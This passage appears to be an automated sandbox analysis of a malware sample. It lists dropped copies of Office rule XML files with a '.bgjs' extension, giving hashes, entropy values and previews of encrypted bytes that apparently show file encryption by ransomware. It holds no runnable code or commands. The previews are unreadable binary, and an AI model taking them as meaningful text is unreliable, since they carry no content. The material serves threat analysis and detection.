Preview:	<?xmlq.$....!q%.NUVc......3.......a.m.F.t.@.....0..TO!...^....h..'}o......}...G.RZv.f.U.V......@..3~..}:..c.t.i'..^2...4;....I.O1........@L.%Z...,.}.w....J.....A....p.~M...nGM......\|.....mY<#.V.....z..R/b.2....._M$.6...P..2C..^X2.)..3.^db.....FAmw@..(....=.r...qh..i...r..h.....TzZ...6%......V..........(%v...5...i...a..:s.D.N..D......C...D..vk!.!.,.....E.\.P.DoK.....uwLye.?.Kb.."...15.<..av.D.bY..G...&,..D. .....t9.m...w....F(.u.!...6fC....5/.."f.\|G...W4.....S8VL.{...T...m.........y..j..X..[wi`.....~4..A...E....Z*..!K.v.......J.1.....q....U...AI&X Yo.f^P+=.Q?n.....}.Luw..M(6n.......4..XR."\|T..J.+...K(X. .....%...`q..=7#%^n..aD.-.d..H...^..9.F._DN....:7..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.740931465804928
Encrypted:	false
SSDEEP:	12:qbkdZQmfjrF5DzrRStAabcW19cOiYH3yY2rzxYB1Cq/SqRT0+WDmuW4zQscii9a:qnAvDzrkvz16m3yY2uB1z/JSPW48sbD
MD5:	70D7713E9B26E5E490B0D1479FD436B2
SHA1:	4ACCFDE6D50841AE87706F757756A8CBED00FF62
SHA-256:	68838A9641066701181B95308BA12FDE7909B56DCDCDA3D2FB26E370E278D755
SHA-512:	B35EEF90DE1D134BE08304069ABAC84C4E6FE286162C98D081A671CAF671FDE27B718FB5DCE15363FBD487D9CBF2F963E45E198ADC363C732FABD5F220A744C9
Malicious:	false
Preview:	<?xml..._..H}....\|.0T!.-..)Q...v..Ue...Y..,...o:...#.w....O.Ad.o.iP.t.=n..E/......P5...-.V......d.-j...L5....@H.kW.X.F..Dt.s.s1...1b.A.$6......C.\|...5VoS..!.D.. ...<..>5..6.6.?.G.....ZC2E.QoN{!)\..yOZ.....ol...u.q..ts..lsJ_..(jT.8V.4t.A.D{aF.X.?.!O.a0.3Cd...r.,..+...>.LY..O.uQ..[....n.7dr ..8LV...bXU3..r.:(.....t.=..s.._..$@.....>.C^...;U...9.....MI]OqwpG..A....dPz..X..z&5.....p....g.F..x.>h:".........j...Vr.2.^9.G+.......F.....m......[6C..8.;...O.q.].p...O....i.HbSNL{.7.9.0...u.....%.G..(..._H.31............!..:.D......@..... 6@!.8!..1_...X.n..D.F....Y..29S..b..h..?A....S..z.3..\|^.Sl.h)....;.4...Z.F.c..m.%.m.R2&....b..h.jt].;..5..d......^......2....V..p......H....1.....ckp.....l.....0.-},.....T........OY..C..g.,9QF#.8.z..Z...@.....rVd.ZJj.,..U4{..4.W..'.8X.y...B.m....p...z..s..Y.wK\|.q.Om .....,>..b.8..%7...aH(.._.x:-.2..q.+..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.827530225276676
Encrypted:	false
SSDEEP:	24:sI5yOHFOsjEBI7+qZ2CbVHj68xbtevBSGyGwLnYTRYJKvedJsbD:sMyMOsoep2CbRTbteoJYTRYBJmD
MD5:	611791E66F9E737C009389095231ADA5
SHA1:	17B2E71A5DFB145CC62157497C8030B5F3732522
SHA-256:	1D11DBFDD64EAA1E8794E9801882C12BB9CC70624F7A6DCB19F204BA58D5FCDD
SHA-512:	EA0032A3D4C4CDEFADEAF0DB9CEB7B2E9DA30EDBE25D13B2EEA5EED1F24C776C623C97D2B352DBCAF7A38203D7999C51672B66EE3BC69F10FA59426835F02116
Malicious:	false
Preview:	<?xml....GLTt!..M+.jksT...5G.e}%1N!.....y.3S.Q.@.....WJ_......"c[.4....N.;...g.....+......@......u._... $..j..n......1I.............i.....v.n9'...=..I......-........00.<....t:...f./...U.x._/.....JDj....l.V]A..0...g....^.).(..-.ca.'...&.(Y.W........w.i.......~l.9.^k2@.b.......x..@.T".J......yA -)f]h..K2.7c...(.........c.`&?..._V..'B.P..>n..z..1XA..'R./...._...t..x.....xX......l....l..... T..&.S}..U..M..Z....rRBa.....C....-5"%..z..+..h-T).fNU.r...'.H.])T!oQr).)`WH...@...>w...r...g.,"o...........'Z@...o.1zT..c~3..~...~\|#7...B#/.v3.E.c.#9..4Q{bvG..[....W..<...8A..uxt....Y$.'.....T.......Q..N...YI5.... ...0t..zL)N.z.4.-.`.....5L..d._A.......dh2Z\:NE.......o........,\|..G.9.........._.^..Rp.Q...Sf.J&k....bb....Tx..Z...r]...p../.>U!....a4<._nI..a......o...Q..-.c....y...V.\.ld.PM!....,~_.\.R.h.m....9.n...X.)VK..Hc.:S..p........c..#9-m.H....d1.]..9..!F......rF..a.P.0@v...oZ..pLu..M.b.#...\|6...;......N.+T.....;.1.;..s@......Ua..U...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.783555752809786
Encrypted:	false
SSDEEP:	24:w1wLoxEiZzM7c5PBY0BgzYjYX30f7Te3sbD:wMoxEi12StBgzHwAmD
MD5:	B414C868DF45489AD824811FA2F0832C
SHA1:	54E0EA82D68E288B8BBC5562F1A24599C3DF8723
SHA-256:	EEE278D68F989521122F2FDCB20FAC75C4CD8D0AEFBBB5D9F83DDA0AC95D1DC6
SHA-512:	2EA1A90CDE5462D67127A0B00582DEA694F1EBC17F0FD20C086504D6BC0432EEF653E861170EDE9A4FCF53B0B0CD0DE47260E276DEA8EDB9345EA40012A617E2
Malicious:	false
Preview:	<?xml.!.i.....}.A.q#.iI...{\|.].Am.N..6'.................i .....P...4.Kb.El..o=:..f.6......D....W....l.E...h.>.m1.0v<.".f.....N....]1GL.JI.d........m.[_k..@.B..A..K,`.<.....D4..N..n...\P.P..6..P..=.t..Fo..F.P3.).Co......O.f.k..kM...}h..}LL.......c>.k......H..,7o...r..66..."V....va._.6z......Y..q}.E.c...P.#2l.4...p9K0!. ..^Z.s_...N.A+..l.<#..K...+... v..(m...f.q.k....W...]......f.1.....i...~?@...S..w..7.~.$..T....2R.....;.^...g....v..RA"....3.o}KN...<.P..sQ.}'.h..>.=0...[..OaW..N\F.5#.....q?z- .CI~.B=AM.....5 e.}Lo..9K...4...!......&..}.Tg.%3!.4...V.c=.2V..k..'Y..7..0RD...F/.t!l....'..gpDuC;%&..o6o.1.@..d.a...R.-dx.0J......L.....f..w...U..C.....<....pJt...m..V?[-.l..\.e.._i...r0.F.....)g..k`.J.K=L.......8..(GP...9\c..vA$..vy...W.Q0.@..Q.2.....#-.h....._Y;x...R..x.Wb...-z.$.Y........n..:.L.2...'[.s........u.C%....FH..a.]p..a...<n....&..].>..../.6{~jaj^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.727487300416692
Encrypted:	false
SSDEEP:	12:w0IM79FGQVjaJ7YwHzXd2cbe6vhp0Ao0d7BDOjLif1D8OUDi6rSEbSP0KQscii9a:w0IsFGQIJ84roYeEhp0AjDOXiKCELsbD
MD5:	177390D4551522BA77C6EDDD04999896
SHA1:	641FEA02C0DB2DC83A05BDA8EDB37BA0774408FD
SHA-256:	89128078B8B93342A69108F766A77B4024F13275931EBE41E77CB65B45D2D9DD
SHA-512:	95F243F2A52A7C78AF7FC04438C3B016510746E8CEB4EA8A7CA5D3C5064500AD1E25DCCC870541628EA1A06A3A71D09F9AF0266CBE4C2E3DED581423056FA0E5
Malicious:	false
Preview:	<?xmlP..sr.4P.....".9f.Iz4..q..k.hNy.AB,........vi...K.u.D.R.U%.(.CT..2........cAk.U......y}......(}..BOaJ....Mx(>..`.x[.........m.....p`2..Wl.Lg[..4.Vo.eS..~x$.xn.q..x.vV6..A4rol..i.'xl}."i....-V..O.H..g...Y.....$)i.,.F-.z...`...G+b...y"..dF...<r.uqZm9e...+`.F.H..../w"..-.j0a.5...c.....C..s...Z....>.X......-..0%N..L9..\)..2NzZI.F..+n&.n.6..m..gYh.T...H..{..O......O..CK..j.?p.d{g3.M.I.9.P...9o.:A.tL....5g..x.yZ1..M.....\|$..?.._...Q.ame..d...u...5=`.M.....#.Xx...."J...n..U...p..{2.....l..+Y.....G.y_.j.......z.PUG2...d..o&.m..$..xe.*.RR+....:.(.....0...f.{\|......Vj.)S.^..b.YwCE.n...;.CO.D...i...(....q)..G....&:..........~-.h..R^.=.-%0..G.Qw...{m.;.K..e.HU...X..../..\..&I..N..q..4........F...n......8.A.....%..e.`...!...V8....%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.723772554516049
Encrypted:	false
SSDEEP:	24:D4EGI7wSWShjq4yd3VAb5/ZurofDQWKvvmB0sbD:xGbrE6ZVAb5/ZvfDQn3mB0mD
MD5:	A83ABDA8EADE727B6216675D3032DC1C
SHA1:	6F34A15A64B960513277CF8F3EC611A153D5AECB
SHA-256:	C8285FDBE7A76D05053D1870C4D1CBFF4960B825225592EE37C2258EDCA0AE25
SHA-512:	ABB5DF6006CE9334488EB5AD550CD1834A7312BF49EE6F377F0450478B8EBDC42AF48ED921151D74FEA911E6AC71F093F2240635465D4E56043316438AE1883C
Malicious:	false
Preview:	<?xml....S..o..T....x....iv......Q..'.....`9..L.......~.P.T..u..Fy<....).g........pi.....cZl..O9..S..o.%L$..j>`.d.....M..P..w,qo.TW.47u.!.<....E..H.p.]......1.?...F...n.XJ...y......K..I....ww..7yy..M..(Pvu..8y.....*......+h.8.F.n.{......y....i.v.Y9O.E.i.`.K.?............+[.wD.....oh.WV.q.@...F.@..x....J...p..Hj.....v.E$.t...Q.....]LS..`(\|q..z.2..M...8..j._.k..>......"...Z...3.......\|T...b.E.M;.xrmt.AtBOq.o...9.9YG."q.W.......qo.7....I..+.:..j._..x.V..d...nXc...0!...8t#TH...d..`.A.hp.=.SR...9H...;;.q......H.4x..c.;G.......rk:W..Yz.....\|.!..s..n..q...j....0.....eC...Lum.Q1../..(..7.7)w..+..zD~.T.&,..!..MHm.....<...j.....d...&.....cN.....$D.7Y3<...YPl......:-y+.....Q`g......P..R..0o...nXw{Hj..B....o.%P]..v..30..Y..k.~.Q.YyHS.Uc&-%~N;.!..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.6852077834547305
Encrypted:	false
SSDEEP:	12:SDq8RAL5zLnNvCeJQL2UmIYF2KrL8hzuLKgapuLTWtpe2MXSnuQscii9a:rLt7NvCebJ028hzuLKgBQw2MCfsbD
MD5:	142F82E403AA3B98BD2834F62F448282
SHA1:	563CA19B5738602E27E2863EC4BD2722EBE36501
SHA-256:	8CE0B22FB0A222F36F0BA74B0437DE87F42DB0081A4E761581335C41847E45A2
SHA-512:	195E97ADBF7EA3223F92AC42D0D987E75E550400F47F9EA847AD6FFAD1781067F85B7F27DA71CF83D0D2079CF39C9E675A896777BF32966EF4DB6498FDE743DB
Malicious:	false
Preview:	<?xml(.....km.....8<C...2.r5k2....YO;.....X..U..^&h..C....D1....R.V=2g\|.jt+.'......b..........B.i>q......"D..D.q....?.a......_N..&.q....V$.t....%.2@<@++.<+.........$C.g...U.....f..9.J......(Z.;...&.h.2.V.9'.......nqy..........r...e...73.f.7.e..#Ck$..u.W.(.6. ......z.J...6^..ev...`/).R....'...,F..).@u..BS.2^...p5J...\|..!...'C@....3.y..eF....(..\|.\N..!.y.......D.f!.;d.:v...... as.....B<.......M.....\..G.. C....~..v...P....(.....$.z.dJ....[T.9.?xC..4T.?....\"N....9-A...b..]=..B...G....P.IJ...............c....T...(....E+.*l.Q&Y..$.X@7.S.O3.9...p".g.z..G.#..2.P_...[...+.k..<@.r..[N.r..$...S....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.826613624963121
Encrypted:	false
SSDEEP:	24:zDoVHSQDlzH8G75sLAA5ZcBfATChonRSt0JuWEV/WMX2hwQXVW59ztuYbvsbD:zUVpD1cm5sLAaZyco0acMmhHXVWQYLmD
MD5:	E437113F6D7E1C85CD733A39C68BC1C0
SHA1:	A79458D75C1B75051C6989A3FC56DE2A2B5E5C95
SHA-256:	E2239225DBC46CEF2735C54F6297B0FC68E783811E7404A677D537B7C55924BD
SHA-512:	8E19183C726E5E0C877F275176621BEFB6687557EFD17DFF4A3A597286D97B5B6EB74E839FCD032335D94E69DCFC437BEE5D83995F7AF64DA2E00D00EC5623F8
Malicious:	false
Preview:	<?xml;C.../...`.SU8.".=q0o,..m.H...n.A..y..~.....b.......\|..b.i._..$1l.O)E...JB..?a....x..m...Z..=.....4.`..St..!.:...4.^.G5..9......s...w.!..}..>$....t.K..G...v....-<.R.}...,...!.vmr........}...".....!FD....yKl1...M.'/y..r...=.u.BD........c.#.V...S./A:.@.e..h.:.T.+...3.[...#.......2.+..W.i.B..p.y.^.2.k ...X.-..5.DW^2...1...TQ.;..saKb.Q...-.....ff..\|.w@.w..0.i.......6.1.Q.p...K?.#<.p.Ht....x.-.U1..k.$^:.L.42y2J....=6N..f..z...7>M...p2f..J.........U.+.[.}.U...+E3.W9..z.m..I.......WI.n..&.o....7.a2...xn.[..S......wf.*d...[.o[.C.!..1........Z.{.X.16F...C0i..g.h..=.6..a.sh.t ...............}+...b....Hc.........=a...U.._.(M.^)0W.gw..e...F.A..`.l.%..I...Ry...O..c.PzP:.0./?.j..C.r..p...Y..k.%.......e.=>Z.....5.^.H..s..n-s.>k.......QP=+.0;.k..d..8....vqN^...b.....k..>r..(.....U..pt.P...U1....3.<...\@.-.C..........=...A...m.tB....n=........Y..q.1....Ql.7..d=7.3.sq...9...bX.=&0Z{......6..orq...0..O..bl3.._W....r.z.X../m..L........e...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.681746201295938
Encrypted:	false
SSDEEP:	12:L15jNt/F5Iu+i6yF0zSuLBTERp+bh4f+FJ/pUtjxQVH7VQHqEJF9UkNQscii9a:p5ZpDIeF0zSmhmc3UtOmqSDCsbD
MD5:	0E725E9193C0E1D00A83F3B9CC259CD1
SHA1:	C456DE4216509DE4619A42BC59A323710A2971B1
SHA-256:	4640E22D88FC6759794D39ABA6C807D3CDC13751BF12585287D49AD4B3141549
SHA-512:	10C2E9C99CD647C3E86C1ED5A6504CA9F1A53E95621995040B07AE6211C65C702FCD41234A680678972506DE5C844BCFC88E4C300291CACBAE25FE4C89906DB2
Malicious:	false
Preview:	<?xml.Wnyl1..I".O1.e...pN.hG;T..Z._U..y.a.tmH.W.{F\..qL#...p1.3......Ae.T.t..S...=C.Ki.Q..J.\|.h..N[RV.........4...F>PF.3...t..n\|4..F..H..D.....`......u;FIqHh2}qI.).Q............,.......=...w...3M....!9v..#.....-k.J..[......z..z...%.q......n:..xc....w../R.. d....v%o:1.Q.....l...Ng....0.Qf....,..8 .1..S.!bz...".9.&...c.e.....(._...n.....$-PR......D....uD...}1.D..f.6.Y^..l.._C....\|...u%...6.S..'..v.gb...\|.6.n}.)O.?'.P..{w\|....fKL.p..o.S.I...&....Z....3......P..1.....;..pf...>M...x......qZ..3)......H...{...C0.\|.Y..569..6q.p./......@.%.....(..6.....~...4.B.......I/..cH...[.v..7..11...K.."......}KF.@..Eh...D.....58Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.717372670201956
Encrypted:	false
SSDEEP:	12:f7/rBBmtv8wGE7FXxesry3odke2tfl/xEV1DDpFtsV9dteVurGd3Ng3xH92RiNQ+:DTB81bVxeOdkBhlWfxoV9dteVu6d3+xT
MD5:	63AF1D54DD62E6E44E30BD7E86A74714
SHA1:	FB157656B8750C649DB11DB2FFDF0D35B66E6DDD
SHA-256:	EB19E8B13596332319BA3C0501B0E0BA676C8560F854ED0A499A366518287863
SHA-512:	3FADD88BDCE89632BB6E28BDD6C4621AE6EB4FF7F15327DAA08F37B44EDBAB09A2CFF5C83BD84B7D6872807C7DE73177DFB8B028E25AD4F58F2EE2245E18E2BF
Malicious:	false
Preview:	<?xmlBxl.!.S7.v7..~.)?...3...y.\..j"i-Q.u..y]N.Z...M.o_.v.rR%....3..\.Hq._$...../._.......>z .sD^.....Fw...C.....9...@#.~.....g.!......%E....$QL..s..?.r....T.... R..7O....?....5).#s........G..6@..zAo.,....7.7.v...a...CH....a,.v.QX.U'.<.wi.....\|.'.......?.U.z...PF..G>.'W4[.....=.9...V..j..H.Ao.0z6.0c....#.Dg..lA.i...[..X;.L\|...\}..;...=..}Nv..5..MY.C.A..)z..8..T#..n.7@w.`..t..B.u...}..VfNG{ .9...a. ....O/ s.3.;.%R.a.K..+.\|!v.mZ...V.x8.....Z\..,H..O..l.....kFK.%\|....".wSd..CB#>RZHR:v...6i..UP.._Y......Vd.P.9{Q....z..))...3+...2 .I..4.=....E8.....g..c.f,5....i>.4.....s....6......../kF..Pt...Y].}y=...5..H.+.t..D.0eDT..6:...r<.o..v...F....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.7300848032944955
Encrypted:	false
SSDEEP:	12:SdXxZok1JNRLAryKrH7IZL4gdufbza7PddIkYfwsPI1/5Uj/tTqUAGbBXtU5OgKR:Ch1TRm0B4gYKc7o++NU/laLsbD
MD5:	9692763E4FC125351A0DC35B50886C36
SHA1:	7E3BB27D386FE719169D76D4FF8F12CD1BFC0FB5
SHA-256:	929DEC3934E0C7AA9862D50427032F399A46911F548CECE0EFA468003C1B9982
SHA-512:	CB1F7EE5EB367E4CF65E8EDA210438B032FBCD3C27E964456D11FCE4081DCCA497AE580B17DCA4203646CBCAEBBC9C8A21FABFFCC1C4AB50A3C97E631A259AA3
Malicious:	false
Preview:	<?xml{.J;[}\.../J.k.....?%......JM......../.n..........O.A6u..".1.R....(..J.F..T...~#q;.,f..z......&...x.....6...c.\{........X4.w.`Q..[..f...m4.....h_...,....A.u...xJ~...9..\.$...4&HH.}..".#r.....=.?....f.Z.....;...C\q.)9...0.wJ.@.(..U..../br.l.o..FJJ.+[..}P.B..J.Jd,.........gF..6k\.T......P....&.U<O....Y..S...^4'V..bT.f.~n.x%.....2P...l...j.....E.V.]...@.........B.vo^.f<.....#..xC..7.:..C9.._..h..\N..6..,..-.vO.~O..w.]._.C...........6..](H..>...B.+:1..e....._..:....T.Z.O....d.U.y.A^.;..&.#........hZ.n..f.s.f.......g...=._"..........m.* ....@....../)y.....C.iHR..:ej....._.J}.....Yd....d..g,.R.+H..\|]...........e...^.].....n.v-).Y.Pf....?..3P...1J.^....,.Wpn..5...j...+.....7-1.. E..A&...-\.p.c..e)._Q:..B(..........<~\.=..h8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.732800871894097
Encrypted:	false
SSDEEP:	24:Ufe/p5ewwm+L6YhyF8Qinv9K7UzE3D17858+ZcEHsUysF97IHMsbD:KocbhyF83wjD1o58mcEHsUd9dmD
MD5:	FFE00CB92C22026D26063EE3298BDA0D
SHA1:	02B86D8832D60B39B4D0B18E76E7626275C03E2D
SHA-256:	F7B45D6E00671DE477843AA7A90390ACCD2CD91DD575BE975CE7603FCD29A235
SHA-512:	7B8A9512CCAE8966F082D3DCC7112DD7491E7052310B64ADB07564915A7FE74C9690D91D18B210A644C8E67108D97F9CC2692F659D49EB4A54B7FB24666CCBC0
Malicious:	false
Preview:	<?xmlc....6fU.F....@..ar...c_.a....w...qW.>[..$.[..Du.H.....M....c.[.@..c.`.B.......&,6....w^t.V@%.JC.9.#...A.g.1+..6...+....V....0.i8....3{a.. N.NU.6,...3k.^_.%. ...v....dD.'...a..O.....7...+....zn...k.g....L.`....1A.P.`..r.........`hS.P.h.~...:b..}S.....17,..c.Y+..,B..87....,....C.z..t..R.l..l..?+...e.kal.............iY...k....\.0...<M.............eu.....;M....1........m....c...A..=..S.>....j....H4T....+v%6.q...]....r..@...m..NOS.`x..-..i....[..=H!#...".]e._.%9....K.r..#z.pz.bd1.rY3..&..........)...b..;....2..a..@.@....%.2.....^.....R.3..o........zk.... .^.......c........X...3..z~t.,K.o.F.XF-2e.).ev..?^..v."&un.........vfb\...o..=(....]O.8E...*.-.w.....1...m...KC.xC`......o..'.."_...}+#Z.....bb9..N.......g.5..5\9.?.{..l.#.z}..f...B%.......0.t.l.$.W.T}..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.781772263629035
Encrypted:	false
SSDEEP:	24:w1mdH1zzrQ9lu72WuGNQwKeH4kDFSdedvBs7Ra1sbD:lH1zz6u72WQZm4HdCtmD
MD5:	950D013BD2EF5E61E77338D221027980
SHA1:	621AA4CB7B056D9AC69076B221732A9097434828
SHA-256:	37B6F84DA69C7DA25CD1A016A8006C62A1C4F1F8C560F080D079B91682F304EE
SHA-512:	125D87580E4A2B5134F9BAC0A33BCE8DF8FAC15F3CB00573865C0AB659AB5E707C01E4937AC0AB31650658BBBA8FE0D7D2249883553A6D2CAB457ECF7B81F757
Malicious:	false
Preview:	<?xml.1L].:"O.i.%P..w.........O.z1.?.C.:A.IJ"+0.i.....!.-Y]L.'.f......-M3..!....Gb..G.at.= D...............6l..5xF.....Y..N..OjU. ".....;...I......x..mA.`.\0..Y.>.y._...EY..="`-n4.3.{.Q...lp...k.ukq..yT~..l...r[(X......2....n:`8.3W....m..'g..h.."..e..Q...R.!#.U.iOB..`.Z...2....75Mf"....M...=..4..f..t.d\......71 H.C.......W.f[y.J....z.;V....ZIG....c[B...t......c..E....a...}R...E.....#.H.UWH.iq=...dp..&...f...^.....nA!B.....@.....K.+.O.#.n...CV...P.O.......E... 0&v+\G,.I.l.vqs..C\|.,....rv.&...r..3......qN..V8.~...;.K.{.X....X......:\|.......%....^.(~fk.K...Y...?bf?...=&.-..t......].qx^6p..V.iz.t...e......!YD.T...%.\|2.x..l.4...E.J..@..^...\|.(G.@..>-.+..#.U.....P..X^W.....\|E...HaP6aD....x%..>@.s...u..A.....6.i)...../.6.h..b.....$...z3......m..5.58_.I.....k.....D......'.I-9qa..`w..L:&..m.....7}.[.....mR'...1Z..O...u.^.>{.-6.0T)r...%>FW..l_..JF.f./n.zR;V`..........1.a...j.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.672302093659458
Encrypted:	false
SSDEEP:	12:ksf5MTig1r2A3xfB6aAbJQ1zYo1J5w4Yvp7MpNRy7pFaYS6NHBrOPjqSpNlQsciD:/f5MFr2+xfBubJirwfQpaVFttHBrOPj/
MD5:	F4427F1778C6C635E5D0FE169332B722
SHA1:	9BE64DA361002B082C908DCAE3E7BD61533CD29A
SHA-256:	102317EDA5073EF1D788DF1AF19C49D1C18E925F0469F1D8EA495474A95937C9
SHA-512:	A8F623451EA4618157B40310F5626683D2F2259D4AEA105C7A471E59F92E66C12A2C9D379B0220767E81E3A8DC029F207901B564EDF66EF45DF34D8A42CE0E2D
Malicious:	false
Preview:	<?xmlY.6......]k.....@..........-..b2....k..."\|....pC.S%./7.=.p...?...Q..\|1.E.T..._0"H.8Tvb..^(.8.w....g.%o...Zl....D..... C....f-....srk.f.~.....[.%......r.]b......ReT..........k.Y........[.Z.8,...b..........#zWN.%...#(..]...G.....g_"U..#.oTg......v.z...aW...#.-.....I.i^.#.U..;..p.~[..ydB+..]yRg..[;.@q......t....$.......u<...i./#........E^....}..%.!.jkM...7.p..K.=........d....m........Z..3.:....$7.......3..{...0..t0..K+..o.@.~.....%da..mf.;&. .......e.".`..HxCb..M\|.CPA.@.f%].3...w=.K......l.....8.E.nuv..(.B.....).....w/....bPn..\|.[b.y..aQ.........D..k.0...L..n.!\..&].....Qm.Ct.b....].%.g..Y...38Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.779890853224273
Encrypted:	false
SSDEEP:	24:TDIrAFLJ39wHjGbpnY7IVOqeXr3xdsJfWiym0sbD:TDsAFLMjGnAIMLYJvyLmD
MD5:	9B17A49B138147584D0B9B76F4D6371A
SHA1:	CB59A8B8146C89696C8A3AE099367E8949E36F47
SHA-256:	6C3F25E7F4F7575D3CFCAA89C0F0D6AD4AE16DFD23D6712DA5242E629905FB36
SHA-512:	584934BF22F8ABF3BCFBA9BA4AFB32C07AE98BDDBEE18183FE8BCAF11B24BE6848B40763F3497212589BE119E5E67D7DD592F28BA8B2892F0CD06D2EF0582578
Malicious:	false
Preview:	<?xmlk.)2l.z!h.....4....^....^.....H..R).9....s<..Q.W.R.s/.`...J8. S.4.g.-!x9.4.{.b...L..$.R..........B........2...0..~.....e.#VV...jJ.I.R.$...?+...P\.0.Y..=....r.9......mk.....n-..@..F.G.wY.}a...k]?N.c.I..b0......[tL...6.h.y7..z..:...@.R$...%.>.....r%B&....0.ay)i..}.T.F....p.e..&\O...c......Z.<..X.{.\|..2..{XHsP...u...f.....Y.h.'%S..p...Kb.yo.6..r../Dp....[y..m?2..k#.s..U..z....o......1....1..........1..Ne(.P..`.z...Q`D.@...`.....FfP...T.M....&.}2....;Qv:...}.T`....6...+@.=..Kc.X...,.I.c.^.W.G.4..X>...'.T......a.Y...l\1EJCHC.Ub,....xA..=.s{.S...:.........Q.'..'5}..c....d5......v<i....h....N..HqgQw......l....p.7...S....N.]....{I:.A...NK.A.&U.{...,...c..~.'..b....Z%.?k!......M....P..P..0a[6.J\|.j}O.1$.........DD.Y5.H[C......C..}9...){sax..gE....RP.jX.....&....$..-.W;....\|..........v....A.Z.j....qg.k.!.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.7696055964994555
Encrypted:	false
